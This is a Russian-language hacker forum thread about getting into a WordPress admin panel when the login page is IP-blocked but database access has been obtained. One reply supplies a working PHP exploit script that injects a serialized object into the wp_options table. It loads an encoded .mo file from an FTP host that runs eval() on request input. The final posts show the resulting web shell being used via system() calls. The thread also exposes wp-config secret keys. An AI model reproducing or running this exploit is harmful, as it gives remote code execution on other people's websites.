Старый 25.11.2016, 23:06   #1
Ravenous
 
Аватар для Ravenous
 
Регистрация: 14.07.2012
Сообщений: 64
Репутация: 1
Exclamation Wordpress - подделать Cookie для авторизации

Имеется Wordpress 4, файл wp-config.php и доступ к mysql.
Файл wp-login.php - заблочен через .htaccess - allow from a.b.c.d (тут без вариантов)
Но имея cookies чтобы зайти на wp-admin не нужно обращатся к wp-login.php
В таблице wp_usermeta есть рабочая сессия админа
Код:
a:1:{s:64:"d000e28122ebd1bb25ed7da24438099f23f409cfd6e5d1105e868b4e51f17c56";a:4:{s:10:"expiration";i:1480276114;s:2:"ip";s:9:"ip";s:2:"";s:66:"browser...";s:5:"login";i:1480103314;}}
из wp-config есть константы
PHP код:
define('AUTH_KEY',         'D;L]g$LoJA!NRyK_pBe8l3oARlFw}~m?WiaqNzs1@Nq$M8Jx^cR_a3Pv+hF_to]U');
define('SECURE_AUTH_KEY',  'V`t-jF8j6t k*&gZkkl,taPS|xQIQc7c/5c+`%a9w:/r1>mF9E^Z*qPe5yBB.qsI');
define('LOGGED_IN_KEY',    ',@cgpjWPHKcl^eoriZaG%#GevX37QG5zJnq1up%J00aTWr9<,AA]|Xr3f?B!|');
define('NONCE_KEY',        '9)U9C*3glzQ4Z{vI|@wTSju=nJj-.G0t_EnRVFi!dX]b1rX?LZvvi,U0|NF^L`}Z');
define('AUTH_SALT',        'm43C!XU4HDYo]N_ $Gl3il&YIra%t`m7*M5JP[VB!TG:*Gi}cFtbPT6.;(V-B!!(');
define('SECURE_AUTH_SALT''Cx2T9Ij:;t#Pe!qmY1]>[P[xMvb3eJAb1uX{.6kV3 LPInWgN BO@){CkgZ9@i:A');
define('LOGGED_IN_SALT',   '~;@@ZP9qm]8_t@#k{2%f`Y_oORe$IE: d=HVq5NB~7@rLHTmc^QWU9,Ve?+X|Ycx');
define('NONCE_SALT',       '!!)!{nrj3M}.IKO2s<~:4M{)scNs/V}:ZezH(vA,x}|[c%>DEW1sy|N4^S2zx3we'); 
На основе этого можно создать куки чтобы войти в админку, если да, то каким образом мне сформировать их?
Ravenous вне форума   Ответить с цитированием
Старый 25.11.2016, 23:49   #2
crlf
 
Аватар для crlf
 
Регистрация: 29.09.2015
Сообщений: 101
Репутация: 17
По умолчанию

Цитата:
и доступ к mysql.
Только чтение?
crlf вне форума   Ответить с цитированием
Старый 25.11.2016, 23:56   #3
Ravenous
 
Аватар для Ravenous
 
Регистрация: 14.07.2012
Сообщений: 64
Репутация: 1
По умолчанию

Цитата:
Сообщение от crlf Посмотреть сообщение
Только чтение?
Не, полный доступ UPDATE,INSERT,CREATE, разумеется без file_priv и т.п.
Ravenous вне форума   Ответить с цитированием
Старый 26.11.2016, 11:38   #4
crlf
 
Аватар для crlf
 
Регистрация: 29.09.2015
Сообщений: 101
Репутация: 17
По умолчанию Wordpress < 4.6.1 RCE through PHP Object Injection by direct DB access

С генерацией куки разбираться лень, тем более что есть UPDATE. Пока память свежа, по аналогии с недавним постом (https://rdot.org/forum/showthread.php?p=40683#post40683), состряпал код под твой случай.

После запроса Payload в БД, выполнение кода будет происходить так:

Цитата:
http://site.com/wordpress/?rce=phpinfo();
Чтоб вернуть всё как было, нужно выполнить запрос Restore.

Использование возможно с любым виджетом, главное задать правильный $option_id и он (виджет) должен отображаться на блоге. Если таковых нет, то пользуясь UPDATE/INSERT можно навремя включить.

Тестить обязательно на localhost!

PHP код:
<?php

/*
 * Wordpress < 4.6.1 RCE through PHP Object Injection by direct DB access
 * coded by crlf
 * rdot.org
 *
 * http://site.com/wordpress/?rce=phpinfo();
 * plural=1);}eval($_REQUEST['rce']);/*
 * 
 */ 

$ftp "ftp://127.0.0.1"//FTP with anonymous access, only host, without slash
$dir "yyyy"//any
$file "en_US.mo"//don't change this
$option_id 94//recent posts widget in 4.6.1

eval("
class WP_Theme{
    private \$headers = array('Name'=>'Foo', 'TextDomain'=>'Bar');
    private \$theme_root = '
$ftp';
    private \$stylesheet = '
$dir';
}
"
);

$default 'a:2:{i:2;a:1:{s:5:"title";s:0:"";}s:12:"_multiwidget";i:1;}';
$arr =  unserialize($default);
$arr[2]['title'] = new WP_Theme;


echo 
"\nPayload: \nUPDATE wp_options SET option_value = 0x".ascii2hex(serialize($arr))." WHERE wp_options.option_id = ".$option_id."\n";

echo 
"\nRestore: \nUPDATE wp_options SET option_value = 0x".ascii2hex($default)." WHERE wp_options.option_id = ".$option_id."\n";

echo 
"\nCheck it:\n\n$ftp/path/to/anonymous/directory/$dir/languages/$file\n\n"

if(!
file_exists($file)) file_put_contents($filegzdecode(base64_decode('H4sIAAAAAAAAA3VRz08UMRQu4mnkxMGThx40COQxO4uaTTd7EBiQZCcuu7NqYgwpM8/Zkm47aTsESLj5L/jv+V94982OChde8vV9bb/k/fh+bT79ySjWCS8Ib1gX4wf5OSEjPCOUhB9rjNV/338TjyhvPKHjveF4LZe1RvbK/6OefUCtLf9snS7ZxNlLLAKclvAJnVfWCD62heVHuLTRFGvrAmS+UiUcNJWH3AoeTT7mcOhQBpLDkQwoeL+XvIMkgX6fJ2/F/v5uj4KEMMUr5R/VDTrdWPoAuZPGaxmsoxJjaapGVgg5yqXgs1oa5Rf/nwVHD+ksmujGSQ3H1i294KZeXf2oP+QdHSXbwzu8kvr1y/NpejZPZ/nXLVfg1rftYbwTZadZej93steLDq0JaKiZm5qKBLwOca2lMkNeLKTzGEbz/BgG97q26e/oIDWFLZWpBB9cqBB9gXaLMLMNVWu51G3T5nw6p78TNOi6SVfLBr4IofYijnWrVB73LtRtzOZk4CWSa3ZlYEfJQKslzxpTWhb9AQtsWO0xAgAA'))); 

function 
ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}

?>
crlf вне форума   Ответить с цитированием
Старый 27.11.2016, 13:46   #5
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

crlf
Nice. Запостил бы ссылку на тот пост в основную тему по WP, чтобы легче искать было потом...
SynQ вне форума   Ответить с цитированием
Старый 28.11.2016, 03:37   #6
Ravenous
 
Аватар для Ravenous
 
Регистрация: 14.07.2012
Сообщений: 64
Репутация: 1
По умолчанию

Цитата:
Сообщение от crlf Посмотреть сообщение
http://site.com/wordpress/?rce=phpinfo();
Выполняет только phpinfo(); (
Когда передаю функции с аргументом, например system('dir') то не работает

Код:
Fatal error: Method WP_Theme::__toString() must not throw an exception, caught ParseError: syntax error, unexpected ''dir\');' (T_ENCAPSED_AND_WHITESPACE), expecting identifier (T_STRING) in
Ravenous вне форума   Ответить с цитированием
Старый 28.11.2016, 08:04   #7
crlf
 
Аватар для crlf
 
Регистрация: 29.09.2015
Сообщений: 101
Репутация: 17
По умолчанию

http://site.com/wordpress/?rce=system($_GET[cmd]);die();&cmd=dir
crlf вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot